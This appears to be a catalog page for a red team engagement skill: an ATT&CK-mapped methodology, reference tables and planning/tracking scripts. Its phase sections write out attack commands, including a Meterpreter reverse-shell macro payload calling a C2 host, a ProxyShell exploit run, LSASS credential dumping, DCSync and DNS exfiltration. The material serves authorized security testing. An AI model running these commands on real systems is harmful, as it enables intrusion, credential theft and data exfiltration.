red teaming

Conducting Full-Scope Red Team Engagement

Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.

adversary-emulationmitre-attackoffensive-securitypenetration-testingpurple-teamred-teamttp-mapping
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

MITRE ATT&CK

T1003.001 on the official MITRE ATT&CK siteT1003.002 on the official MITRE ATT&CK siteT1003.006 on the official MITRE ATT&CK siteT1018 on the official MITRE ATT&CK siteT1021.001 on the official MITRE ATT&CK siteT1021.002 on the official MITRE ATT&CK siteT1021.006 on the official MITRE ATT&CK siteT1027 on the official MITRE ATT&CK siteT1041 on the official MITRE ATT&CK siteT1047 on the official MITRE ATT&CK siteT1048.003 on the official MITRE ATT&CK siteT1053 on the official MITRE ATT&CK siteT1053.005 on the official MITRE ATT&CK siteT1055 on the official MITRE ATT&CK siteT1059.001 on the official MITRE ATT&CK siteT1059.003 on the official MITRE ATT&CK siteT1068 on the official MITRE ATT&CK siteT1069.002 on the official MITRE ATT&CK siteT1070.004 on the official MITRE ATT&CK siteT1071.001 on the official MITRE ATT&CK siteT1074 on the official MITRE ATT&CK siteT1078 on the official MITRE ATT&CK siteT1082 on the official MITRE ATT&CK siteT1087.002 on the official MITRE ATT&CK siteT1098 on the official MITRE ATT&CK siteT1110 on the official MITRE ATT&CK siteT1133 on the official MITRE ATT&CK siteT1134 on the official MITRE ATT&CK siteT1136.001 on the official MITRE ATT&CK siteT1190 on the official MITRE ATT&CK siteT1195 on the official MITRE ATT&CK siteT1195.002 on the official MITRE ATT&CK siteT1204.001 on the official MITRE ATT&CK siteT1204.002 on the official MITRE ATT&CK siteT1213 on the official MITRE ATT&CK siteT1547 on the official MITRE ATT&CK siteT1547.001 on the official MITRE ATT&CK siteT1548 on the official MITRE ATT&CK siteT1548.002 on the official MITRE ATT&CK siteT1550.002 on the official MITRE ATT&CK siteT1558 on the official MITRE ATT&CK siteT1558.003 on the official MITRE ATT&CK siteT1560 on the official MITRE ATT&CK siteT1562.001 on the official MITRE ATT&CK siteT1566 on the official MITRE ATT&CK siteT1566.001 on the official MITRE ATT&CK siteT1566.002 on the official MITRE ATT&CK siteT1583.001 on the official MITRE ATT&CK siteT1583.003 on the official MITRE ATT&CK siteT1587.001 on the official MITRE ATT&CK siteT1587.003 on the official MITRE ATT&CK siteT1589 on the official MITRE ATT&CK siteT1589.001 on the official MITRE ATT&CK siteT1589.002 on the official MITRE ATT&CK siteT1590 on the official MITRE ATT&CK siteT1590.002 on the official MITRE ATT&CK siteT1590.005 on the official MITRE ATT&CK siteT1591 on the official MITRE ATT&CK siteT1593 on the official MITRE ATT&CK siteT1593.001 on the official MITRE ATT&CK siteT1593.002 on the official MITRE ATT&CK siteT1608.001 on the official MITRE ATT&CK site

Overview

A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).

When to Use

  • When conducting security assessments that involve conducting full scope red team engagement
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Written authorization (Rules of Engagement document) signed by executive leadership
  • Defined scope including in-scope/out-of-scope systems, escalation contacts, and emergency stop procedures
  • Threat intelligence on relevant adversary groups (e.g., APT29, FIN7, Lazarus Group)
  • Red team infrastructure: C2 servers, redirectors, phishing domains, payload development environment
  • Legal review confirming compliance with Computer Fraud and Abuse Act (CFAA) and local laws

Engagement Phases

Phase 1: Planning and Threat Modeling

Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:

Kill Chain Phase MITRE ATT&CK Tactic Example Techniques
Reconnaissance TA0043 T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info
Resource Development TA0042 T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware
Initial Access TA0001 T1566.001 Spearphishing Attachment, T1078 Valid Accounts
Execution TA0002 T1059.001 PowerShell, T1204.002 User Execution: Malicious File
Persistence TA0003 T1053.005 Scheduled Task, T1547.001 Registry Run Keys
Privilege Escalation TA0004 T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass
Defense Evasion TA0005 T1055 Process Injection, T1027 Obfuscated Files
Credential Access TA0006 T1003.001 LSASS Memory, T1558.003 Kerberoasting
Discovery TA0007 T1087 Account Discovery, T1018 Remote System Discovery
Lateral Movement TA0008 T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash
Collection TA0009 T1560 Archive Collected Data, T1213 Data from Information Repositories
Exfiltration TA0010 T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol
Impact TA0040 T1486 Data Encrypted for Impact, T1489 Service Stop

Phase 2: Reconnaissance (OSINT)

# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt
 
# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
    print(cert['name_value'])
" | sort -u > subdomains.txt
 
# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
 
# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json
 
# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv

Phase 3: Initial Access

Common initial access vectors for red team engagements:

Spearphishing (T1566.001):

# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
 
# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json

External Service Exploitation (T1190):

# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
 
# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com

Phase 4: Post-Exploitation and Lateral Movement

# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
 
# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
 
# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
 
# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
 
# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com

Phase 5: Objective Achievement

Define and pursue specific objectives:

  1. Domain Dominance: Achieve Domain Admin access and DCSync credentials
  2. Data Exfiltration: Locate and exfiltrate crown jewel data (e.g., PII, financial records)
  3. Business Impact Simulation: Demonstrate ransomware deployment capability (without execution)
  4. Physical Access: Badge cloning, tailgating, server room access
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
 
# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t

Phase 6: Reporting and Debrief

The report should include:

  1. Executive Summary: Business impact, risk rating, key findings
  2. Attack Narrative: Timeline of activities with screenshots and evidence
  3. MITRE ATT&CK Mapping: Full heat map of techniques used
  4. Findings: Each finding with CVSS score, evidence, remediation
  5. Detection Gap Analysis: What the SOC detected vs. what was missed
  6. Purple Team Recommendations: Specific detection rules for gaps identified

Metrics and KPIs

Metric Description
Mean Time to Detect (MTTD) Average time from action to SOC detection
Mean Time to Respond (MTTR) Average time from detection to containment
TTP Coverage Percentage of executed techniques detected
Objective Achievement Rate Percentage of defined objectives completed
Dwell Time Total time red team maintained access undetected

Tools and Frameworks

  • C2 Frameworks: Havoc, Cobalt Strike, Sliver, Mythic, Brute Ratel C4
  • Reconnaissance: Amass, Recon-ng, theHarvester, SpiderFoot
  • Exploitation: Metasploit, Impacket, CrackMapExec, Rubeus
  • Post-Exploitation: Mimikatz, SharpCollection, BOF.NET
  • Reporting: PlexTrac, Ghostwriter, Serpico

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.8 KB

Full-Scope Red Team Engagement — API Reference

Libraries

Library Install Purpose
attackcti pip install attackcti MITRE ATT&CK STIX/TAXII client for technique enumeration
impacket pip install impacket AD attack tools (secretsdump, psexec, wmiexec)
requests pip install requests HTTP client for C2 API integration

Key attackcti Methods

Method Description
attack_client() Initialize MITRE ATT&CK client
client.get_enterprise_techniques() List all Enterprise techniques
client.get_enterprise_mitigations() List mitigations
client.get_groups() List threat actor groups
client.get_software() List tools and malware

Engagement Phases (PTES Framework)

Phase Duration Key Activities
Pre-engagement 1-2 weeks Scoping, RoE, legal agreements
Reconnaissance 3-5 days OSINT, footprinting, enumeration
Initial Access 5-7 days Phishing, exploits, physical
Post-exploitation 5-7 days Lateral movement, persistence, privilege escalation
Objective 2-3 days Crown jewel access, exfiltration simulation
Reporting 3-5 days Findings, remediation, executive brief

C2 Frameworks

Framework Type Protocol
Cobalt Strike Commercial HTTPS, DNS, SMB
Sliver Open source mTLS, HTTPS, DNS, WireGuard
Mythic Open source HTTP, websocket, custom

External References

standards.md4.3 KB

Standards and References: Full-Scope Red Team Engagement

MITRE ATT&CK Techniques

Reconnaissance (TA0043)

  • T1593 - Search Open Websites/Domains
  • T1593.001 - Social Media
  • T1593.002 - Search Engines
  • T1589 - Gather Victim Identity Information
  • T1589.001 - Credentials
  • T1589.002 - Email Addresses
  • T1590 - Gather Victim Network Information
  • T1590.002 - DNS
  • T1590.005 - IP Addresses
  • T1591 - Gather Victim Org Information

Resource Development (TA0042)

  • T1583.001 - Acquire Infrastructure: Domains
  • T1583.003 - Acquire Infrastructure: Virtual Private Server
  • T1587.001 - Develop Capabilities: Malware
  • T1587.003 - Develop Capabilities: Digital Certificates
  • T1608.001 - Stage Capabilities: Upload Malware

Initial Access (TA0001)

  • T1566.001 - Phishing: Spearphishing Attachment
  • T1566.002 - Phishing: Spearphishing Link
  • T1190 - Exploit Public-Facing Application
  • T1078 - Valid Accounts
  • T1133 - External Remote Services
  • T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain

Execution (TA0002)

  • T1059.001 - Command and Scripting Interpreter: PowerShell
  • T1059.003 - Command and Scripting Interpreter: Windows Command Shell
  • T1204.001 - User Execution: Malicious Link
  • T1204.002 - User Execution: Malicious File
  • T1047 - Windows Management Instrumentation

Persistence (TA0003)

  • T1053.005 - Scheduled Task/Job: Scheduled Task
  • T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys
  • T1136.001 - Create Account: Local Account
  • T1098 - Account Manipulation

Privilege Escalation (TA0004)

  • T1068 - Exploitation for Privilege Escalation
  • T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control
  • T1134 - Access Token Manipulation

Defense Evasion (TA0005)

  • T1055 - Process Injection
  • T1027 - Obfuscated Files or Information
  • T1562.001 - Impair Defenses: Disable or Modify Tools
  • T1070.004 - Indicator Removal: File Deletion

Credential Access (TA0006)

  • T1003.001 - OS Credential Dumping: LSASS Memory
  • T1003.006 - OS Credential Dumping: DCSync
  • T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting
  • T1110 - Brute Force

Discovery (TA0007)

  • T1087.002 - Account Discovery: Domain Account
  • T1018 - Remote System Discovery
  • T1069.002 - Permission Groups Discovery: Domain Groups
  • T1082 - System Information Discovery

Lateral Movement (TA0008)

  • T1021.002 - Remote Services: SMB/Windows Admin Shares
  • T1021.001 - Remote Services: Remote Desktop Protocol
  • T1550.002 - Use Alternate Authentication Material: Pass the Hash
  • T1047 - Windows Management Instrumentation

Collection (TA0009)

  • T1560 - Archive Collected Data
  • T1213 - Data from Information Repositories

Exfiltration (TA0010)

  • T1041 - Exfiltration Over C2 Channel
  • T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol

NIST References

  • NIST SP 800-115 - Technical Guide to Information Security Testing and Assessment
  • NIST SP 800-53 Rev. 5 - Security and Privacy Controls (CA-8: Penetration Testing)
  • NIST SP 800-53A - Assessing Security and Privacy Controls (CA-8 assessment procedures)
  • NIST CSF 2.0 - Identify, Protect, Detect, Respond, Recover functions

Industry Frameworks

  • PTES - Penetration Testing Execution Standard (Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation, Post-Exploitation, Reporting)
  • OSSTMM - Open Source Security Testing Methodology Manual v3
  • TIBER-EU - European Central Bank Threat Intelligence-Based Ethical Red Teaming
  • CBEST - Bank of England intelligence-led penetration testing framework
  • CREST - Council of Registered Ethical Security Testers certification standards
  • STAR - Simulated Targeted Attack and Response (Bank of Canada)

Compliance Alignments

Framework Control Description
PCI DSS 4.0 11.4 External and internal penetration testing
SOC 2 CC7.1 Identification and management of vulnerabilities
ISO 27001 A.18.2.3 Technical compliance review
HIPAA 164.308(a)(8) Evaluation of security measures
FFIEC IS.2.M.7 Penetration testing program
workflows.md8.4 KB

Workflows: Full-Scope Red Team Engagement

Engagement Lifecycle Workflow

┌─────────────────────────────────────────────────────────────────┐
│                    RED TEAM ENGAGEMENT LIFECYCLE                  │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. SCOPING & PLANNING                                           │
│     ├── Define Rules of Engagement (RoE)                         │
│     ├── Identify threat actors to emulate                        │
│     ├── Define objectives and success criteria                   │
│     ├── Establish communication channels and emergency stops     │
│     └── Legal authorization and sign-off                         │
│                                                                  │
│  2. RECONNAISSANCE (2-4 weeks)                                   │
│     ├── Passive OSINT collection                                 │
│     │   ├── DNS enumeration (Amass, subfinder)                   │
│     │   ├── Email harvesting (theHarvester)                      │
│     │   ├── Social media profiling (LinkedIn, Twitter)           │
│     │   └── Credential breach searches (DeHashed)                │
│     ├── Active scanning (if in scope)                            │
│     │   ├── Port/service scanning (Nmap)                         │
│     │   ├── Web application discovery (Aquatone)                 │
│     │   └── Vulnerability scanning (Nuclei)                      │
│     └── Target prioritization matrix                             │
│                                                                  │
│  3. WEAPONIZATION (1-2 weeks)                                    │
│     ├── Develop custom payloads                                  │
│     │   ├── Shellcode generation and encryption                  │
│     │   ├── Loader development (C/C++, Rust, Nim)                │
│     │   └── Sandbox evasion techniques                           │
│     ├── Configure C2 infrastructure                              │
│     │   ├── Deploy team server (Havoc/Cobalt Strike)             │
│     │   ├── Set up HTTPS redirectors                             │
│     │   ├── Configure domain fronting or CDN                     │
│     │   └── Test beacon callbacks                                │
│     └── Prepare phishing infrastructure                          │
│         ├── Register look-alike domains                          │
│         ├── Configure SPF/DKIM/DMARC                             │
│         └── Design email templates                               │
│                                                                  │
│  4. INITIAL ACCESS (1-2 weeks)                                   │
│     ├── Execute phishing campaign (T1566)                        │
│     ├── Exploit external services (T1190)                        │
│     ├── Credential stuffing/spraying (T1110)                     │
│     ├── Supply chain vectors (T1195)                             │
│     └── Physical access attempts (if in scope)                   │
│                                                                  │
│  5. POST-EXPLOITATION (2-4 weeks)                                │
│     ├── Establish persistence (T1053, T1547)                     │
│     ├── Privilege escalation                                     │
│     │   ├── Local priv esc (T1068, T1548)                        │
│     │   └── Domain priv esc (Kerberoasting, DCSync)              │
│     ├── Credential harvesting                                    │
│     │   ├── LSASS dump (T1003.001)                               │
│     │   ├── SAM database (T1003.002)                             │
│     │   └── Kerberos tickets (T1558)                             │
│     ├── Lateral movement                                         │
│     │   ├── SMB (T1021.002)                                      │
│     │   ├── WMI (T1047)                                          │
│     │   ├── WinRM (T1021.006)                                    │
│     │   └── RDP (T1021.001)                                      │
│     └── Objective pursuit                                        │
│         ├── Crown jewel identification                           │
│         ├── Data staging (T1074)                                 │
│         └── Exfiltration demonstration (T1041)                   │
│                                                                  │
│  6. REPORTING & DEBRIEF (1-2 weeks)                              │
│     ├── Attack narrative with timeline                           │
│     ├── MITRE ATT&CK heat map                                   │
│     ├── Detection gap analysis                                   │
│     ├── Remediation recommendations                              │
│     ├── Executive debrief presentation                           │
│     └── Purple team follow-up sessions                           │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Decision Tree: Initial Access Vector Selection

START: Select Initial Access Vector

├── Is phishing in scope?
│   ├── YES → Target high-value employees
│   │         ├── C-suite → CEO fraud / whale phishing
│   │         ├── IT Staff → Credential harvesting
│   │         └── HR/Finance → Malicious attachment
│   └── NO → Proceed to external attack surface

├── External-facing services found?
│   ├── VPN → Check for CVEs (Fortinet, Pulse Secure, Citrix)
│   ├── Exchange → ProxyShell/ProxyLogon
│   ├── Web Apps → OWASP Top 10, file upload, RCE
│   └── RDP → Brute force / credential stuffing

└── Physical access in scope?
    ├── Badge cloning (Proxmark3)
    ├── Tailgating
    └── Rogue device deployment (LAN Turtle)

Operational Security (OPSEC) Checklist

  1. Infrastructure Separation: Separate attack infrastructure from assessment infrastructure
  2. Redirectors: Use HTTPS redirectors between C2 and targets
  3. Domain Aging: Register domains 30+ days before engagement
  4. Categorization: Categorize phishing domains before use (Bluecoat, Fortiguard)
  5. Payload Testing: Test payloads against VirusTotal alternatives (antiscan.me)
  6. Log Rotation: Rotate and encrypt operational logs
  7. Clean-up: Remove all implants and artifacts post-engagement
  8. Communication: Use encrypted channels for team coordination (Signal, Keybase)

TTPs Execution Checklist

Phase TTP Tool Status
Recon T1593 - Open Website Search Amass, Recon-ng [ ]
Recon T1589 - Victim Identity Info theHarvester, LinkedIn [ ]
Initial Access T1566.001 - Spearphishing GoPhish, custom [ ]
Execution T1059.001 - PowerShell Custom stager [ ]
Persistence T1053.005 - Scheduled Task schtasks.exe [ ]
Priv Esc T1558.003 - Kerberoasting Rubeus [ ]
Defense Evasion T1055 - Process Injection Custom loader [ ]
Credential Access T1003.001 - LSASS Memory Mimikatz/SafetyKatz [ ]
Discovery T1087.002 - Domain Account Discovery BloodHound/SharpHound [ ]
Lateral Movement T1021.002 - SMB/Admin Shares PsExec, wmiexec [ ]
Collection T1560 - Archive Data 7-Zip, tar [ ]
Exfiltration T1041 - Exfil Over C2 Havoc/CS download [ ]

Scripts 2

agent.py6.0 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Full-scope red team engagement management agent."""

import json
import sys
import argparse
from datetime import datetime

try:
    from attackcti import attack_client
except ImportError:
    print("Install: pip install attackcti")
    sys.exit(1)


def get_attack_techniques(tactics=None):
    """Retrieve MITRE ATT&CK techniques for engagement planning."""
    client = attack_client()
    techniques = client.get_enterprise_techniques()
    if tactics:
        tactic_set = set(t.lower() for t in tactics)
        filtered = []
        for tech in techniques:
            kill_chain = tech.get("kill_chain_phases", [])
            for phase in kill_chain:
                if phase.get("phase_name", "").lower() in tactic_set:
                    filtered.append({
                        "id": tech.get("external_references", [{}])[0].get("external_id", ""),
                        "name": tech.get("name", ""),
                        "tactic": phase.get("phase_name", ""),
                        "platforms": tech.get("x_mitre_platforms", []),
                    })
                    break
        return filtered
    return [{"id": t.get("external_references", [{}])[0].get("external_id", ""),
             "name": t.get("name", "")} for t in techniques[:50]]


def generate_engagement_plan(scope, objectives):
    """Generate red team engagement plan with phases."""
    phases = [
        {
            "phase": "Reconnaissance",
            "tactic": "reconnaissance",
            "duration_days": 3,
            "activities": [
                "OSINT collection on target organization",
                "DNS enumeration and subdomain discovery",
                "Employee profiling via LinkedIn and social media",
                "Technology stack fingerprinting",
            ],
        },
        {
            "phase": "Initial Access",
            "tactic": "initial-access",
            "duration_days": 5,
            "activities": [
                "Spearphishing campaign with custom payloads",
                "Watering hole attack on frequented sites",
                "Credential spraying against external portals",
                "Physical access testing (if in scope)",
            ],
        },
        {
            "phase": "Execution & Persistence",
            "tactic": "execution",
            "duration_days": 5,
            "activities": [
                "C2 infrastructure deployment",
                "Lateral movement via Pass-the-Hash/Ticket",
                "Persistence mechanism installation",
                "Privilege escalation to domain admin",
            ],
        },
        {
            "phase": "Objective Completion",
            "tactic": "exfiltration",
            "duration_days": 3,
            "activities": [
                "Crown jewel access demonstration",
                "Data exfiltration simulation",
                "Business impact scenario documentation",
                "Evidence collection and cleanup",
            ],
        },
    ]
    return {
        "scope": scope,
        "objectives": objectives,
        "total_duration_days": sum(p["duration_days"] for p in phases),
        "phases": phases,
        "rules_of_engagement": [
            "No denial-of-service attacks",
            "No destruction of data",
            "Emergency contact procedure established",
            "Daily status updates to trusted agent",
        ],
    }


def generate_c2_checklist():
    """Generate C2 infrastructure preparation checklist."""
    return {
        "infrastructure": [
            {"item": "Domain registration (categorized, aged)", "status": "pending"},
            {"item": "SSL certificates via Let's Encrypt", "status": "pending"},
            {"item": "Redirector servers (Apache mod_rewrite)", "status": "pending"},
            {"item": "C2 server (Cobalt Strike / Sliver / Mythic)", "status": "pending"},
            {"item": "Phishing server (GoPhish)", "status": "pending"},
            {"item": "Payload hosting (S3 / Azure Blob)", "status": "pending"},
        ],
        "opsec": [
            {"item": "VPN for all operator traffic", "status": "pending"},
            {"item": "Domain fronting or CDN configuration", "status": "pending"},
            {"item": "Logging and evidence collection setup", "status": "pending"},
            {"item": "Deconfliction process with blue team POC", "status": "pending"},
        ],
    }


def run_planning(scope, objectives):
    """Execute red team engagement planning."""
    print(f"\n{'='*60}")
    print(f"  RED TEAM ENGAGEMENT PLANNER")
    print(f"  Generated: {datetime.utcnow().isoformat()} UTC")
    print(f"{'='*60}\n")

    plan = generate_engagement_plan(scope, objectives)
    print(f"--- ENGAGEMENT PLAN ---")
    print(f"  Scope: {plan['scope']}")
    print(f"  Duration: {plan['total_duration_days']} days")
    for phase in plan["phases"]:
        print(f"\n  Phase: {phase['phase']} ({phase['duration_days']} days)")
        for act in phase["activities"]:
            print(f"    - {act}")

    checklist = generate_c2_checklist()
    print(f"\n--- C2 INFRASTRUCTURE CHECKLIST ---")
    for item in checklist["infrastructure"]:
        print(f"  [ ] {item['item']}")

    techniques = get_attack_techniques(["initial-access", "lateral-movement"])
    print(f"\n--- RELEVANT ATT&CK TECHNIQUES ({len(techniques)}) ---")
    for t in techniques[:10]:
        print(f"  {t['id']}: {t['name']}")

    return {"plan": plan, "checklist": checklist, "techniques": techniques}


def main():
    parser = argparse.ArgumentParser(description="Red Team Engagement Agent")
    parser.add_argument("--scope", required=True, help="Engagement scope description")
    parser.add_argument("--objectives", nargs="+", required=True, help="Engagement objectives")
    parser.add_argument("--output", help="Save plan to JSON file")
    args = parser.parse_args()

    report = run_planning(args.scope, args.objectives)
    if args.output:
        with open(args.output, "w") as f:
            json.dump(report, f, indent=2, default=str)
        print(f"\n[+] Plan saved to {args.output}")


if __name__ == "__main__":
    main()
process.py20.8 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Red Team Engagement Tracker and Reporter

Tracks red team activities, maps them to MITRE ATT&CK techniques,
and generates engagement reports with detection gap analysis.
"""

import json
import csv
import os
import hashlib
from datetime import datetime, timedelta
from typing import Optional
from dataclasses import dataclass, field, asdict


@dataclass
class RedTeamAction:
    """Represents a single red team action during an engagement."""
    timestamp: str
    phase: str
    mitre_tactic: str
    mitre_technique_id: str
    mitre_technique_name: str
    description: str
    target_host: str
    tool_used: str
    outcome: str  # success, failure, partial
    detected: bool = False
    detection_time: Optional[str] = None
    detection_source: Optional[str] = None
    evidence_path: Optional[str] = None
    operator: str = ""
    notes: str = ""


@dataclass
class EngagementConfig:
    """Configuration for a red team engagement."""
    engagement_id: str
    client_name: str
    start_date: str
    end_date: str
    scope: list = field(default_factory=list)
    out_of_scope: list = field(default_factory=list)
    objectives: list = field(default_factory=list)
    threat_profile: str = ""
    emergency_contact: str = ""
    roe_version: str = ""


MITRE_TACTICS = {
    "TA0043": "Reconnaissance",
    "TA0042": "Resource Development",
    "TA0001": "Initial Access",
    "TA0002": "Execution",
    "TA0003": "Persistence",
    "TA0004": "Privilege Escalation",
    "TA0005": "Defense Evasion",
    "TA0006": "Credential Access",
    "TA0007": "Discovery",
    "TA0008": "Lateral Movement",
    "TA0009": "Collection",
    "TA0010": "Exfiltration",
    "TA0011": "Command and Control",
    "TA0040": "Impact",
}

COMMON_TECHNIQUES = {
    "T1566.001": {"name": "Phishing: Spearphishing Attachment", "tactic": "TA0001"},
    "T1566.002": {"name": "Phishing: Spearphishing Link", "tactic": "TA0001"},
    "T1190": {"name": "Exploit Public-Facing Application", "tactic": "TA0001"},
    "T1078": {"name": "Valid Accounts", "tactic": "TA0001"},
    "T1059.001": {"name": "PowerShell", "tactic": "TA0002"},
    "T1059.003": {"name": "Windows Command Shell", "tactic": "TA0002"},
    "T1047": {"name": "Windows Management Instrumentation", "tactic": "TA0002"},
    "T1053.005": {"name": "Scheduled Task", "tactic": "TA0003"},
    "T1547.001": {"name": "Registry Run Keys", "tactic": "TA0003"},
    "T1068": {"name": "Exploitation for Privilege Escalation", "tactic": "TA0004"},
    "T1548.002": {"name": "Bypass User Account Control", "tactic": "TA0004"},
    "T1055": {"name": "Process Injection", "tactic": "TA0005"},
    "T1027": {"name": "Obfuscated Files or Information", "tactic": "TA0005"},
    "T1562.001": {"name": "Disable or Modify Tools", "tactic": "TA0005"},
    "T1003.001": {"name": "LSASS Memory", "tactic": "TA0006"},
    "T1003.006": {"name": "DCSync", "tactic": "TA0006"},
    "T1558.003": {"name": "Kerberoasting", "tactic": "TA0006"},
    "T1087.002": {"name": "Domain Account Discovery", "tactic": "TA0007"},
    "T1018": {"name": "Remote System Discovery", "tactic": "TA0007"},
    "T1082": {"name": "System Information Discovery", "tactic": "TA0007"},
    "T1021.002": {"name": "SMB/Windows Admin Shares", "tactic": "TA0008"},
    "T1021.001": {"name": "Remote Desktop Protocol", "tactic": "TA0008"},
    "T1550.002": {"name": "Pass the Hash", "tactic": "TA0008"},
    "T1560": {"name": "Archive Collected Data", "tactic": "TA0009"},
    "T1041": {"name": "Exfiltration Over C2 Channel", "tactic": "TA0010"},
    "T1048.003": {"name": "Exfiltration Over Unencrypted Non-C2 Protocol", "tactic": "TA0010"},
    "T1486": {"name": "Data Encrypted for Impact", "tactic": "TA0040"},
}


class RedTeamEngagementTracker:
    """Tracks and reports on red team engagement activities."""

    def __init__(self, config: EngagementConfig, output_dir: str = "./engagement_output"):
        self.config = config
        self.actions: list[RedTeamAction] = []
        self.output_dir = output_dir
        os.makedirs(output_dir, exist_ok=True)

    def log_action(self, action: RedTeamAction) -> None:
        """Log a red team action."""
        self.actions.append(action)
        self._append_to_log(action)
        print(f"[+] Logged: {action.mitre_technique_id} - {action.description}")

    def _append_to_log(self, action: RedTeamAction) -> None:
        """Append action to engagement log file."""
        log_path = os.path.join(self.output_dir, f"{self.config.engagement_id}_log.jsonl")
        with open(log_path, "a") as f:
            f.write(json.dumps(asdict(action)) + "\n")

    def calculate_metrics(self) -> dict:
        """Calculate engagement metrics including MTTD, MTTR, and detection coverage."""
        total_actions = len(self.actions)
        detected_actions = [a for a in self.actions if a.detected]
        successful_actions = [a for a in self.actions if a.outcome == "success"]

        # Calculate Mean Time to Detect (MTTD)
        detection_deltas = []
        for action in detected_actions:
            if action.detection_time and action.timestamp:
                action_time = datetime.fromisoformat(action.timestamp)
                detect_time = datetime.fromisoformat(action.detection_time)
                delta = (detect_time - action_time).total_seconds() / 3600  # hours
                detection_deltas.append(delta)

        mttd_hours = sum(detection_deltas) / len(detection_deltas) if detection_deltas else None

        # Calculate TTP coverage
        unique_techniques = set(a.mitre_technique_id for a in self.actions)
        detected_techniques = set(a.mitre_technique_id for a in detected_actions)
        ttp_coverage = (
            len(detected_techniques) / len(unique_techniques) * 100
            if unique_techniques
            else 0
        )

        # Tactic-level detection rates
        tactic_stats = {}
        for tactic_id, tactic_name in MITRE_TACTICS.items():
            tactic_actions = [a for a in self.actions if a.mitre_tactic == tactic_id]
            tactic_detected = [a for a in tactic_actions if a.detected]
            if tactic_actions:
                tactic_stats[tactic_name] = {
                    "total": len(tactic_actions),
                    "detected": len(tactic_detected),
                    "rate": len(tactic_detected) / len(tactic_actions) * 100,
                }

        # Objective completion
        objectives_achieved = sum(
            1 for obj in self.config.objectives if obj.get("achieved", False)
        )

        return {
            "engagement_id": self.config.engagement_id,
            "total_actions": total_actions,
            "successful_actions": len(successful_actions),
            "success_rate": len(successful_actions) / total_actions * 100 if total_actions else 0,
            "detected_actions": len(detected_actions),
            "detection_rate": len(detected_actions) / total_actions * 100 if total_actions else 0,
            "mttd_hours": mttd_hours,
            "unique_techniques_used": len(unique_techniques),
            "unique_techniques_detected": len(detected_techniques),
            "ttp_coverage_pct": ttp_coverage,
            "tactic_detection_rates": tactic_stats,
            "objectives_total": len(self.config.objectives),
            "objectives_achieved": objectives_achieved,
            "undetected_techniques": list(unique_techniques - detected_techniques),
        }

    def generate_attack_heatmap(self) -> dict:
        """Generate MITRE ATT&CK heatmap data for Navigator."""
        techniques = {}
        for action in self.actions:
            tid = action.mitre_technique_id
            if tid not in techniques:
                techniques[tid] = {
                    "techniqueID": tid,
                    "score": 0,
                    "color": "",
                    "comment": "",
                    "metadata": [],
                }
            techniques[tid]["score"] += 1
            if action.detected:
                techniques[tid]["color"] = "#ff6666"  # Red for detected
                techniques[tid]["comment"] += f"DETECTED by {action.detection_source}; "
            else:
                techniques[tid]["color"] = "#66ff66"  # Green for undetected
                techniques[tid]["comment"] += f"UNDETECTED: {action.description}; "

        navigator_layer = {
            "name": f"Red Team - {self.config.engagement_id}",
            "versions": {"attack": "14", "navigator": "4.9.1", "layer": "4.5"},
            "domain": "enterprise-attack",
            "description": f"Red team engagement for {self.config.client_name}",
            "techniques": list(techniques.values()),
            "gradient": {
                "colors": ["#66ff66", "#ffff66", "#ff6666"],
                "minValue": 0,
                "maxValue": 5,
            },
        }

        output_path = os.path.join(
            self.output_dir, f"{self.config.engagement_id}_navigator.json"
        )
        with open(output_path, "w") as f:
            json.dump(navigator_layer, f, indent=2)

